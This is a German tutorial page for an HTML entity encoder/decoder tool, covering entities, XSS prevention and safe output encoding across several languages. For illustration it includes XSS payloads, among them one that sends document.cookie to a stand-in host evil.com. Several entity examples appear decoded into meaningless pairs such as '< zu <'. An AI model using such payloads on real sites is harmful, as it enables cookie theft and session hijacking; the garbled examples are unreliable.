Was sind HTML Entities?

HTML Entities sind spezielle Codes, die reservierte oder sonderzeichenhafte Zeichen in HTML sicher darstellen. Zum Beispiel wird < zu <, damit der Browser es als Text und nicht als HTML-Tag interpretiert.

Warum ist HTML Encoding wichtig für die Web-Sicherheit?

HTML Encoding verhindert Cross-Site-Scripting (XSS)-Angriffe, indem Benutzereingaben harmlos gemacht werden, bevor sie im HTML ausgegeben werden. Ein korrekt encodiertes -Tag wird als Text angezeigt und nicht als Code ausgeführt.

Was ist der Unterschied zwischen Named Entities und Numeric Entities?

Named Entities wie < sind für Menschen lesbar und haben offizielle HTML-Namen. Numeric Entities wie < funktionieren für jedes Unicode-Zeichen, auch wenn kein offizieller Name existiert. Beide erzeugen dasselbe Ergebnis im Browser.

Was ist der Unterschied zwischen HTML Encoding und URL Encoding?

HTML Encoding schützt HTML-Inhalt vor Fehlinterpretation durch den Browser-Parser (z.B. < wird <). URL Encoding schützt URL-Parameter vor Fehlinterpretation im HTTP-Stack (z.B. & wird %26). Beide dienen der Sicherheit, aber in unterschiedlichen Kontexten.

Muss ich Umlaute wie ä, ö, ü HTML-encodieren?

Nein. Auf modernen HTML5-Seiten mit charset=UTF-8 können Umlaute direkt verwendet werden. Nur die fünf reservierten Zeichen &, , sowie Anführungszeichen in Attributen müssen zwingend encodiert werden.

Alle Artikel

🌐 Entwickler-Tool · Kostenlos · Im Browser · DSGVO-sicher

HTML Entity Encoder & Decoder

Q: Warum ist HTML Encoding wichtig für die Web-Sicherheit?

HTML Encoding verhindert Cross-Site-Scripting (XSS)-Angriffe, indem Benutzereingaben harmlos gemacht werden, bevor sie im HTML ausgegeben werden. Ein korrekt encodiertes -Tag wird als Text angezeigt und nicht als Code ausgeführt.

Q: Was ist der Unterschied zwischen Named Entities und Numeric Entities?

Named Entities wie &lt; sind für Menschen lesbar und haben offizielle HTML-Namen. Numeric Entities wie &#60; funktionieren für jedes Unicode-Zeichen, auch wenn kein offizieller Name existiert. Beide erzeugen dasselbe Ergebnis im Browser.

Q: Was ist der Unterschied zwischen HTML Encoding und URL Encoding?

HTML Encoding schützt HTML-Inhalt vor Fehlinterpretation durch den Browser-Parser (z.B. < wird <). URL Encoding schützt URL-Parameter vor Fehlinterpretation im HTTP-Stack (z.B. & wird %26). Beide dienen der Sicherheit, aber in unterschiedlichen Kontexten.

Q: Muss ich Umlaute wie ä, ö, ü HTML-encodieren?

Nein. Auf modernen HTML5-Seiten mit charset=UTF-8 können Umlaute direkt verwendet werden. Nur die fünf reservierten Zeichen &, , sowie Anführungszeichen in Attributen müssen zwingend encodiert werden.

HTML-Sonderzeichen sicher kodieren und dekodieren — <, >, & und mehr. XSS verhindern, Formular-Daten escapen, HTML-Entities verstehen. Alles lokal, kein Upload, keine Registrierung.

✓ XSS-Schutz ✓ Named & Numeric Entities ✓ Unicode-Support ✓ HTML-Vorschau ✓ 0 € Kosten

Encodiert

Decodiert

Entities ersetzt

Eingabe — Text mit Sonderzeichen 0 Zeichen

Benannte Entities (& < …) Alle Nicht-ASCII als &#NNN; Attribut-sicher (auch " und ') Zeilenumbrüche als 


↓

Ausgabe — HTML-Entities 0 Zeichen

👁️ HTML-Vorschau (gerendert)

⚡ Schnellbeispiele — klicken zum Einfügen

Müller & Söhne GmbH — 49,99 € → Müller & Söhne — €…

<img src=x onerror=alert(document.cookie)> → <img src=x onerror=…

Decodieren: <strong>Hallo Welt!… → <strong>Hallo Welt!</strong>…

🔄 HTML Encoding Workflow

📊 Sichere Datenverarbeitung: Von der Eingabe zur sicheren Ausgabe

⌨️

Benutzereingabe

Unbekannt, gefährlich

→

⚙️

Validierung

Format prüfen

→

🔐

HTML Encoding

< → < etc.

→

💾

Speicherung

DB / Datei

→

✅

Sichere Ausgabe

XSS-frei

🛡️ XSS-Risikoreduktion durch HTML Encoding

Relative Angriffsfläche bei verschiedenen Schutzmaßnahmen (niedriger = besser)

📖 HTML Entity Referenztabelle

Vollständige Referenz — klicken zum Kopieren der Entity

Named Entities, numerische Entities und Unicode-Codes — gefiltert nach Kategorie.

📚 Schritt-für-Schritt Anleitungen

🔒 So encodieren Sie HTML-Sonderzeichen richtig

Ampersand (&) zuerst ersetzen

Immer zuerst das &-Zeichen encodieren. Warum? Weil & selbst Teil der Entity-Syntax ist. Wenn Sie andere Zeichen zuerst encodieren, encodieren Sie danach auch die bereits erzeugten Entities.

"Müller & Söhne" → "Müller & Söhne"

Spitze Klammern (< und >) ersetzen

Diese Zeichen leiten HTML-Tags ein und aus. Ohne Encoding interpretiert der Browser sie als Markup.

"<script>" → "<script>"

Anführungszeichen in Attributen encodieren

Wenn der Text in einem HTML-Attribut erscheint (z.B. value="..."), müssen auch Anführungszeichen encodiert werden. Aktivieren Sie dafür die Option "Attribut-sicher".

<input value="Er sagte "Hallo""> ← FEHLER <input value="Er sagte "Hallo""> ← KORREKT

Ergebnis kopieren und einfügen

Nutzen Sie die "Ergebnis kopieren"-Schaltfläche oben. Das encodierte Ergebnis ist jetzt sicher zur Verwendung in HTML-Dokumenten, Template-Systemen oder Datenbanken.

🔓 So decodieren Sie HTML Entities

Modus auf "Decodieren" umschalten

Klicken Sie auf den "Decodieren"-Button im Modus-Umschalter. Die Eingabe- und Ausgabefelder passen sich automatisch an.

Entity-kodierten Text einfügen

Fügen Sie Ihren HTML-Entity-Text ein. Benannte (<), dezimale (<) und hexadezimale (<) Entities werden alle korrekt erkannt.

HTML-Vorschau prüfen

Im Decode-Modus zeigt die Vorschau wie der decodierte Text im Browser gerendert wird — ohne Sicherheitsrisiko, da die Anzeige isoliert ist.

🏗️ Praxisbeispiele für Entwickler

🛡️ Szenario 1: XSS-Angriff mit Kommentarfeld verhindern +

Ein Nutzer eines Blog-Kommentarformulars gibt folgenden Text ein. Ohne HTML Encoding wird der eingeschleuste Code im Browser aller anderen Besucher ausgeführt.

❌ Ohne Encoding (gefährlich)

✅ Mit Encoding (sicher)

Das Ergebnis: Der Browser zeigt den Text als harmlose Zeichenkette an. Das Skript wird nicht ausgeführt. Cookie-Diebstahl unmöglich.

👤 Szenario 2: Benutzernamen mit Sonderzeichen korrekt anzeigen +

Ein Nutzer registriert sich mit dem Namen O'Brien <Developer>. Ohne Encoding bricht das HTML-Layout oder öffnet eine Sicherheitslücke.

// PHP - FALSCH: echo "<span>Willkommen, " . $_POST['username'] . "!</span>"; // PHP - RICHTIG: echo "<span>Willkommen, " . htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8') . "!</span>";

Das ENT_QUOTES-Flag encodiert sowohl doppelte als auch einfache Anführungszeichen. Der UTF-8-Parameter stellt korrekte Umlaute sicher.

📝 Szenario 3: HTML-Code in einem CMS sicher darstellen +

Ein technisches Blog möchte Code-Snippets wie <div class="container"> anzeigen, ohne dass der Browser sie als HTML interpretiert.

❌ Unkodiert (Browser rendert HTML)

✅ Kodiert (Browser zeigt Text)

Unser Tool ist ideal, um Code-Snippets vor dem Einfügen ins CMS vorzubereiten. Einfach kopieren → einfügen → encodieren → fertig.

🗄️ Szenario 4: Formular-Daten sicher in JSON und Datenbanken speichern +

Formulardaten, die HTML-Sonderzeichen enthalten, müssen beim Lesen aus der Datenbank und Ausgabe im HTML korrekt behandelt werden. Es gibt zwei Ansätze:

// Ansatz A: Roh in DB, encoding beim Ausgeben (EMPFOHLEN) // Speichern: $db->save($_POST['comment']); // Roh // Ausgeben: echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); // Ansatz B: Kodiert in DB speichern // Nur wenn Anzeige immer im HTML-Kontext erfolgt

Wichtig: Ansatz A ist die Industriestandard-Empfehlung. Das Original bleibt erhalten, und das Encoding erfolgt immer kontextabhängig zum Ausgabezeitpunkt.

📧 Szenario 5: HTML Encoding in E-Mail-Templates +

HTML-E-Mails sind besonders anfällig für Darstellungsprobleme mit Sonderzeichen. Firmennamen wie AT&T oder Müller & Partner müssen korrekt kodiert werden.

// Falsch in HTML-E-Mail: Sehr geehrte Damen & Herren, // Richtig in HTML-E-Mail: Sehr geehrte Damen & Herren,

Nutzen Sie unser Tool, um Ihren E-Mail-Template-Text vor dem Versand zu prüfen. Besonders der &-Operator wird häufig in Firmennamen vergessen.

💻 HTML Encoding in der Praxis — Code-Beispiele

// PHP: Die zwei wichtigsten Funktionen // 1. htmlspecialchars() — Standard für 99% der Fälle $userInput = '<script>alert("XSS")</script>'; $safe = htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8'); // Ergebnis: <script>alert("XSS")</script> // 2. htmlentities() — Alle HTML-Entities $safe2 = htmlentities($userInput, ENT_QUOTES | ENT_HTML5, 'UTF-8'); // 3. strip_tags() — KEIN Ersatz für Encoding! // Entfernt Tags, aber unzuverlässig. Nicht für Sicherheit nutzen. // Decodieren (umgekehrt) $decoded = html_entity_decode($encodedString, ENT_QUOTES | ENT_HTML5, 'UTF-8');

⚠️ Immer ENT_QUOTES übergeben (kodiert ' und ") und den Zeichensatz UTF-8 explizit angeben.

// JavaScript Browser: DOM-Trick function encodeHtml(str) { const el = document.createElement('div'); el.textContent = str; return el.innerHTML; } // Node.js: he-Bibliothek (npm install he) const he = require('he'); const encoded = he.encode('<script>alert("XSS")</script>'); const decoded = he.decode('<script>'); // React: JSX encoded automatisch (sicher by default) // GEFÄHRLICH: dangerouslySetInnerHTML ohne Sanitization const SafeComponent = ({ userText }) => ( <div>{userText}</div> // ✅ Sicher — React encoded automatisch );

import html # Encodieren user_input = '<script>alert("XSS")</script>' safe = html.escape(user_input, quote=True) # quote=True encodiert auch " und ' # Ergebnis: <script>alert("XSS")</script> # Decodieren decoded = html.unescape('<strong>Hallo</strong>') # Django Templates: Auto-Escaping (standardmäßig aktiv) # {{ user_input }} → sicher # {{ user_input|safe }} → GEFÄHRLICH ohne Vertrauen! # Jinja2 Templates from markupsafe import escape safe_val = escape(user_input)

// Java: Apache Commons Text (empfohlen) import org.apache.commons.text.StringEscapeUtils; String userInput = "<script>alert('XSS')</script>"; String safe = StringEscapeUtils.escapeHtml4(userInput); // Ergebnis: <script>alert('XSS')</script> // Decodieren String decoded = StringEscapeUtils.unescapeHtml4(safe); // Spring MVC / Thymeleaf: Auto-Escaping aktiv // th:text="${userInput}" → sicher // th:utext="${userInput}" → VORSICHT: kein Escaping! // OWASP Java Encoder (empfohlen für Security) // String safe2 = Encode.forHtml(userInput);

// C# / ASP.NET: System.Web using System.Web; string userInput = "<script>alert('XSS')</script>"; string safe = HttpUtility.HtmlEncode(userInput); // Ergebnis: <script>alert('XSS')</script> // Decodieren string decoded = HttpUtility.HtmlDecode(safe); // ASP.NET Core / Razor (empfohlen) using System.Text.Encodings.Web; string safe2 = HtmlEncoder.Default.Encode(userInput); // Razor Templates: Auto-Encoding standardmäßig aktiv // @userInput → sicher // @Html.Raw(userInput) → GEFÄHRLICH!

⚠️ Häufige Fehler beim HTML Encoding

🔄

Fehler 1: Falscher Encoding-Kontext

HTML Encoding für URL-Parameter verwenden (statt URL Encoding), oder JavaScript-Strings nur HTML-encodieren statt JS-zu-HTML-zu-kombinieren.

✅ Fix: URL Encoding für URLs, HTML Encoding für HTML-Kontext.

🔁

Fehler 2: Doppeltes Encoding

Bereits encodierten Text nochmals encodieren. Nutzer sehen dann &amp; statt &. Häufig bei Copy-Paste aus encodierten Quellen.

✅ Fix: Decode-Modus nutzen, Original prüfen, einmalig encodieren.

🎯

Fehler 3: & wird vergessen

Nur < und > encodieren, aber & vergessen. Das &-Zeichen muss immer als erstes und zwingend ersetzt werden.

✅ Fix: Encoding-Funktion/Tool verwenden statt manuell ersetzen.

🔐

Fehler 4: Encoding mit Verschlüsselung verwechseln

HTML Encoding ist kein Sicherheits-Mechanismus zum Schutz von Daten vor Lesbarkeit. Es verhindert nur HTML-Injection, verschlüsselt aber nichts.

✅ Fix: Für Verschlüsselung AES / TLS nutzen. Encoding ≠ Encryption.

🌐

Fehler 5: Unicode falsch behandeln

Zeichensatz nicht auf UTF-8 setzen. Dann werden Umlaute oder Emojis beschädigt, wenn Encoding-Funktionen einen anderen Standard-Charset annehmen.

✅ Fix: Immer explizit 'UTF-8' als Charset-Parameter angeben.

🚪

Fehler 6: Nur Output encodieren, Input vergessen

Daten beim Ausgeben encodieren, aber beim Empfangen nicht validieren. Validierung und Encoding sind komplementär, nicht austauschbar.

✅ Fix: Input validieren + Output encodieren — immer beides.

⚖️ HTML Encoding vs. URL Encoding vs. Base64

Methode	Zweck	Beispiel-Input	Beispiel-Output	Einsatz
< → &lt;	HTML-Zeichen sicher darstellen	`<div>`	`<div>`	HTML-Inhalt
%XX Encoding	Sonderzeichen in URLs	`Hallo Welt`	`Hallo%20Welt`	URL-Parameter
Base64	Binärdaten als ASCII	`Hallo`	`SGFsbG8=`	Datei-Upload, API
JS Escaping	Zeichen in JS-Strings	`Er sagte "Hi"`	`Er sagte \"Hi\"`	JavaScript-Code
CSS Escaping	Sonderzeichen in CSS	`.class:hover`	`.class\:hover`	CSS-Selektoren

Für URL Encoding empfehlen wir unseren URL Encoder / Decoder, für Base64 den Base64 Encoder.

Was ist HTML Encoding? Die vollständige Erklärung

Wenn du eine Webseite im Browser besuchst, wird der HTML-Code von einem Parser interpretiert. Dieser Parser erkennt bestimmte Zeichen als Steuerzeichen — also als Zeichen mit besonderer Bedeutung. Das bekannteste Beispiel ist das kleiner-als-Zeichen <: Sobald der Parser dieses Zeichen sieht, erwartet er, dass ein HTML-Tag beginnt.

HTML Encoding (auch HTML Escaping genannt) ist der Prozess, durch den diese reservierten Zeichen durch sichere Alternativen — sogenannte HTML Entities — ersetzt werden. Das Zeichen < wird zu <, > wird zu >, und & wird zu &. Der Browser zeigt dann das ursprüngliche Zeichen an, interpretiert es aber nicht als Teil der HTML-Syntax.

💡 Kernprinzip: HTML Entities teilen dem Browser mit: "Zeige dieses Zeichen an, aber behandle es nicht als HTML." Sie sind das Fundament von sicherem, korrekt dargestelltem Web-Inhalt.

Die 5 zwingend zu encodierenden Zeichen

Diese fünf Zeichen müssen in jedem HTML-Kontext encodiert werden, wenn sie als Inhalt erscheinen sollen:

& → & — Beginnt jede HTML-Entity. Muss immer zuerst encodiert werden!
< → < — Öffnet HTML-Tags
> → > — Schließt HTML-Tags
" → " — Schließt doppelte Attribute ab
' → ' — Schließt einfache Attribute ab

Alle anderen Zeichen — einschließlich deutscher Umlaute wie ä, ö, ü — können auf modernen UTF-8-Seiten direkt verwendet werden und müssen nicht zwingend encodiert werden.

Named Entities vs. Numeric Entities: Welcher Unterschied besteht?

HTML Entities gibt es in zwei Varianten, die beide dasselbe Ergebnis liefern, sich aber in Lesbarkeit und Flexibilität unterscheiden.

Named Entities (Benannte Entities)

Named Entities haben offizielle, für Menschen lesbare Namen, die im HTML-Standard definiert sind. Beispiele:

& → &
< → <
© → ©
€ → €
— → —

Benannte Entities sind die bevorzugte Wahl für häufig verwendete Zeichen. Sie sind selbstdokumentierend und werden von allen modernen Browsern seit Jahrzehnten zuverlässig unterstützt.

Numeric Entities (Numerische Entities)

Numeric Entities referenzieren Zeichen über ihren Unicode-Codepunkt, entweder dezimal (&#NNN;) oder hexadezimal (&#xNNNN;). Beispiele:

& oder & → & (identisch mit &)
< oder < → < (identisch mit <)
😀 oder 😀 → 😀 (Emoji, kein Named Entity)

Numerische Entities sind universeller, da sie für jedes Unicode-Zeichen funktionieren — auch für solche, die keinen offiziellen Named-Entity-Namen haben, wie Emojis oder seltene Unicode-Symbole.

ASCII, Unicode und der HTML-Entity-Standard

ASCII (American Standard Code for Information Interchange) umfasst 128 Zeichen: die englischen Buchstaben, Ziffern, Satzzeichen und Steuerzeichen. Alle ASCII-Zeichen können in HTML direkt verwendet werden — außer den fünf reservierten Sonderzeichen.

Unicode ist ein internationaler Standard, der über 140.000 Zeichen aus allen Schriftsystemen der Welt umfasst. HTML5 mit UTF-8 unterstützt den vollständigen Unicode-Zeichenvorrat. Numerische HTML-Entities ermöglichen die Darstellung jedes Unicode-Zeichens, selbst in Dokumenten mit eingeschränktem Zeichensatz.

Der HTML Entity Standard (definiert im W3C HTML Living Standard und HTML 4.01) legt fest, welche Named Entities offiziell unterstützt werden. HTML5 erweiterte den früheren HTML 4 Standard um viele zusätzliche Named Entities, darunter griechische Buchstaben, mathematische Symbole und typografische Zeichen.

HTML Encoding und Web-Sicherheit: XSS verstehen und verhindern

Cross-Site Scripting (XSS) ist laut OWASP (Open Web Application Security Project) eine der häufigsten und gefährlichsten Sicherheitslücken in Webanwendungen. XSS ermöglicht es Angreifern, bösartigen JavaScript-Code in Webseiten einzuschleusen, der dann im Browser anderer Besucher ausgeführt wird.

Wie XSS funktioniert

Betrachte ein einfaches Suchformular: Der Benutzer gibt einen Begriff ein, und die Seite zeigt "Ihre Suche nach: [Begriff]" an. Wenn der eingegebene Text ohne Encoding ausgegeben wird, kann ein Angreifer folgendes eingeben:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Wird dieser Text ohne HTML Encoding auf der Seite ausgegeben, führt der Browser das Skript aus. Cookie-Diebstahl, Session-Hijacking und Phishing-Angriffe werden möglich. Mit korrektem HTML Encoding ist das Skript harmlos — der Browser zeigt es als Text an, führt es aber nicht aus.

Reflected vs. Stored XSS

Reflected XSS tritt auf, wenn die bösartige Eingabe direkt in der Antwort erscheint (z.B. in Suchergebnissen). Stored XSS ist gefährlicher: Der Angriffs-Code wird in der Datenbank gespeichert (z.B. als Kommentar) und bei jedem Seitenaufruf ausgeführt. HTML Encoding verhindert beide Varianten.

Sanitization vs. Encoding: Der Unterschied

Sanitization (Bereinigung) entfernt oder modifiziert gefährliche Inhalte aus der Eingabe — zum Beispiel das Entfernen aller <script>-Tags. Encoding behält den Originalinhalt bei, macht ihn aber für HTML harmlos. Für User-Generated Content, der als Text angezeigt werden soll, ist Encoding die sicherere Wahl — Sanitization kann leicht umgangen werden. Für Content, der als HTML gerendert werden soll (z.B. Rich-Text-Editoren), ist eine Kombination aus Sanitization und einer Allowlist (erlaubte Tags und Attribute) notwendig.

⚠️ Kritisch: strip_tags() in PHP, innerHTML-Sanitization in JavaScript und ähnliche Ansätze sind kein Ersatz für korrektes HTML Encoding. Angriffsvektor können Unicode-Tricks, Encoding-Mixtures und CSS-basierte Angriffe sein, die solche Filter umgehen.

Content Security Policy (CSP) als zweite Verteidigungslinie

HTML Encoding ist die erste und wichtigste Maßnahme gegen XSS. Als zusätzliche Schutzschicht empfiehlt sich eine Content Security Policy (CSP), die über den HTTP-Header Content-Security-Policy: script-src 'self' gesetzt wird. CSP verhindert das Ausführen von Inline-Skripten — selbst wenn ein Angreifer ein <script>-Tag einschleust, blockiert CSP die Ausführung.

HTML Encoding in modernen Webanwendungen

In Frontend-Frameworks (React, Vue, Angular)

Moderne JavaScript-Frameworks übernehmen HTML Encoding automatisch und standardmäßig. In React werden JSX-Ausdrücke wie {userText} automatisch encodiert. In Vue werden Template-Interpolationen wie {{ userText }} ebenfalls sicher encodiert. Angular tut dasselbe mit {{ value }}.

Die Ausnahmen sind explizite "Bypass"-Mechanismen wie Reacts dangerouslySetInnerHTML, Vues v-html oder Angulars bypassSecurityTrustHtml(). Diese sollten ausschließlich mit bereits vollständig sanitisierten und vertrauenswürdigen Inhalten verwendet werden.

In Backend-Systemen und Template-Engines

Moderne Template-Engines wie Jinja2 (Python), Blade (Laravel), Twig (Symfony), Thymeleaf (Spring) und Handlebars (Node.js) aktivieren Auto-Escaping standardmäßig. Das bedeutet: Variablen in Templates werden automatisch HTML-encodiert. Nur explizite "Raw"-Direktiven schalten das Encoding ab — diese sollten mit äußerster Vorsicht eingesetzt werden.

In REST APIs und JSON

Bei JSON-APIs ist zu beachten: JSON selbst kodiert keine HTML-Zeichen. Wenn API-Antworten im HTML-Kontext gerendert werden, muss das HTML-Encoding beim Einfügen in den DOM erfolgen, nicht beim Erstellen der JSON-Antwort. Eine Ausnahme: Wenn JSON direkt in einen <script>-Block eingebettet wird, muss </script> vermieden werden — dafür den Schrägstrich als / oder Unicode-Escape encodieren.

In CMS-Systemen

WordPress bietet esc_html(), esc_attr(), esc_url() und andere kontextspezifische Escaping-Funktionen. Jede Funktion ist für einen anderen Kontext optimiert — esc_html() für HTML-Inhalt, esc_attr() für HTML-Attribute, esc_url() für URLs. Typo3, Drupal und andere CMS bieten ähnliche APIs. Unser Tool ist ideal, um Inhalte vor dem Einfügen in ein CMS manuell zu prüfen oder zu konvertieren.

Wann ist HTML Encoding notwendig — und wann nicht?

Encoding ist notwendig:

Beim direkten Ausgeben von Benutzereingaben im HTML
Beim Anzeigen von Datenbankwerten, die ursprünglich von Nutzern stammen
Beim Einbetten von Suchanfragen in Ergebnisseiten
Beim Anzeigen von Inhalten aus externen APIs
Beim Darstellen von Code-Snippets in technischen Dokumentationen
Beim Befüllen von HTML-Attributen mit dynamischen Werten

Encoding ist nicht erforderlich:

Für statischen HTML-Code, den du selbst schreibst
Für normale UTF-8-Zeichen (ä, ö, ü, €) auf modernen HTML5-Seiten mit <meta charset="UTF-8">
Für Inhalte, die bewusst als HTML gerendert werden sollen (dann aber Sanitization statt Encoding)
Für Daten, die nur in JSON-, XML- oder anderen Nicht-HTML-Kontexten verwendet werden

💡 Faustregel: Kommt die Datenquelle von außen (Nutzer, Datenbank, API) und wird sie im HTML-Kontext ausgegeben? Dann immer encodieren. Lautet die Antwort auf beide Fragen "Ja", gibt es keine Ausnahme.

HTML Entity Referenz: Die vollständige Übersicht nach Kategorien

HTML5 definiert über 2.000 Named Entities. Die wichtigsten Kategorien im Überblick:

Reservierte Zeichen (zwingend zu encodieren)

Die fünf Pflicht-Entities: & (&), < (<), > (>), " ("), ' ('). Ohne diese bricht HTML-Syntax oder entstehen Sicherheitslücken.

Typografische Sonderzeichen

Professionelle Typografie im Web benötigt korrekte Satzzeichen: — (—) für den langen Gedankenstrich, – (–) für den kurzen, … (…) für Auslassungspunkte, « («) und » (») für französische Anführungszeichen, “ (") und ” (") für typografische deutsche Anführungszeichen.

Währungs- und Handelszeichen

€ (€), £ (£), ¥ (¥), © (©), ® (®), ™ (™) — diese Symbole werden in Produktbeschreibungen, Impressen und Geschäftstexten regelmäßig benötigt.

Mathematische Symbole

× (×), ÷ (÷), ± (±), ° (°), ½ (½), ² (²) — essentiell für wissenschaftliche und technische Dokumentationen.

Häufig gestellte Fragen zu HTML Encoding

Muss ich in HTML5 noch Entities für ä, ö, ü verwenden?

Nein. Auf HTML5-Seiten mit <meta charset="UTF-8"> können deutsche Umlaute und alle anderen UTF-8-Zeichen direkt im HTML-Quellcode verwendet werden. HTML-Entities für Umlaute (ä, ö) sind zwar gültig, aber nicht mehr notwendig und selten sinnvoll.

Was passiert, wenn ich Emojis in HTML einbette?

Emojis sind Unicode-Zeichen und können auf UTF-8-Seiten direkt eingebettet werden (z.B. 😀). Alternativ können numerische Entities wie 😀 verwendet werden — das ist hilfreich in Umgebungen, die keine direkten Unicode-Zeichen unterstützen.

Wie vermeide ich doppeltes Encoding in meiner Anwendung?

Das häufigste Muster für doppeltes Encoding entsteht, wenn Daten encodiert in der Datenbank gespeichert und beim Ausgeben nochmals encodiert werden. Lösung: Rohdaten in der DB speichern und ausschließlich beim HTML-Output encodieren. Nutze unseren Decode-Modus, um zu prüfen, ob ein Text bereits Entities enthält.

Reicht HTML Encoding allein für vollständige XSS-Sicherheit?

HTML Encoding ist die primäre und wirksamste Maßnahme gegen XSS bei der Ausgabe im HTML-Kontext. Für vollständige Sicherheit empfiehlt sich eine Kombination aus: Input-Validierung, kontextspezifischem Output-Encoding (HTML, URL, JS, CSS je nach Kontext), Content Security Policy (CSP) und regelmäßigen Security-Audits.

Was ist der Unterschied zwischen HTML Encoding und Base64?

HTML Encoding ersetzt bestimmte Sonderzeichen durch Entity-Codes — der Text bleibt weitgehend lesbar. Base64 wandelt beliebige Binärdaten in einen ASCII-Text um — das Ergebnis ist unleserlich und ca. 33% größer als das Original. Verschiedene Zwecke, keine Überschneidung. Unser Base64 Encoder erledigt letzteres.

Kann ich dieses Tool für komplette HTML-Dokumente verwenden?

Das Tool ist für Text-Snippets und Code-Fragmente optimiert. Für vollständige HTML-Dokumente empfiehlt sich, gezielt nur die dynamischen Bereiche (Benutzereingaben, DB-Werte) zu encodieren — nicht die gesamte HTML-Struktur, die sonst mit-encodiert würde.